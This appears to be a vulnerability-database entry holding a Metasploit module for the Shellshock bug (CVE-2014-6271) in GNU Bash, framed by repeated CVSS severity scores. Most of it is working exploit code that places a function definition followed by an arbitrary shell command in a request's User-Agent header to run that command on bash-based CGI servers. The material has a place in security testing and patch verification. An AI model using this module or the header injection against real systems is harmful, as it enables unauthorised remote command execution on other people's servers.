9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
GNU Bash - Environment Variable Command Injection (Metasploit)
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'bashedCgi',
'Description' => %q{
Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.
},
'Author' =>
[
'Stephane Chazelas', # vuln discovery
'Shaun Colley <scolley at ioactive.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [ 'CVE', '2014-6271' ],
'Targets' =>
[
[ 'cgi', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' => { 'PAYLOAD' => 0 }
))
register_options(
[
OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
], self.class)
end
def run
res = send_request_cgi({
'method' => 'GET',
'uri' => datastore['TARGETURI'],
'agent' => "() { :;}; " + datastore['CMD']
})
if res && res.code == 200
print_good("Command sent - 200 received")
else
print_error("Command sent - non-200 reponse")
end
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C